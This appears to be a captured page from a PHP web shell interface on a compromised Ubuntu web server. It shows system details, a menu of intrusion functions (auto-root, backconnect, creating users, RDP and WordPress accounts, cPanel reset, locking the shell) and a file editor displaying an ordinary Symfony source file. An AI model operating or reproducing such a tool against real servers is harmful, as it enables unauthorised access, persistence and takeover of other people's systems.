Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
Symfony /
Component /
Config /
Resource /
[ HOME SHELL ]
Name
Size
Permission
Action
ClassExistenceResource.php
6.89
KB
-rw-r--r--
ComposerResource.php
1.55
KB
-rw-r--r--
DirectoryResource.php
2.64
KB
-rw-r--r--
FileExistenceResource.php
1.22
KB
-rw-r--r--
FileResource.php
1.45
KB
-rw-r--r--
GlobResource.php
7.47
KB
-rw-r--r--
ReflectionClassResource.php
9.06
KB
-rw-r--r--
ResourceInterface.php
956
B
-rw-r--r--
SelfCheckingResourceChecker.ph...
1.34
KB
-rw-r--r--
SelfCheckingResourceInterface....
779
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DirectoryResource.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Config\Resource; /** * DirectoryResource represents a resources stored in a subdirectory tree. * * @author Fabien Potencier <fabien@symfony.com> * * @final */ class DirectoryResource implements SelfCheckingResourceInterface { private $resource; private $pattern; /** * @param string $resource The file path to the resource * @param string|null $pattern A pattern to restrict monitored files * * @throws \InvalidArgumentException */ public function __construct(string $resource, string $pattern = null) { $this->resource = realpath($resource) ?: (file_exists($resource) ? $resource : false); $this->pattern = $pattern; if (false === $this->resource || !is_dir($this->resource)) { throw new \InvalidArgumentException(sprintf('The directory "%s" does not exist.', $resource)); } } public function __toString(): string { return md5(serialize([$this->resource, $this->pattern])); } public function getResource(): string { return $this->resource; } public function getPattern(): ?string { return $this->pattern; } /** * {@inheritdoc} */ public function isFresh(int $timestamp): bool { if (!is_dir($this->resource)) { return false; } if ($timestamp < filemtime($this->resource)) { return false; } foreach (new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($this->resource), \RecursiveIteratorIterator::SELF_FIRST) as $file) { // if regex filtering is enabled only check matching files if ($this->pattern && $file->isFile() && !preg_match($this->pattern, $file->getBasename())) { continue; } // always monitor directories for changes, except the .. entries // (otherwise deleted files wouldn't get detected) if ($file->isDir() && str_ends_with($file, '/..')) { continue; } // for broken links try { $fileMTime = $file->getMTime(); } catch (\RuntimeException $e) { continue; } // early return if a file's mtime exceeds the passed timestamp if ($timestamp < $fileMTime) { return false; } } return true; } }
Close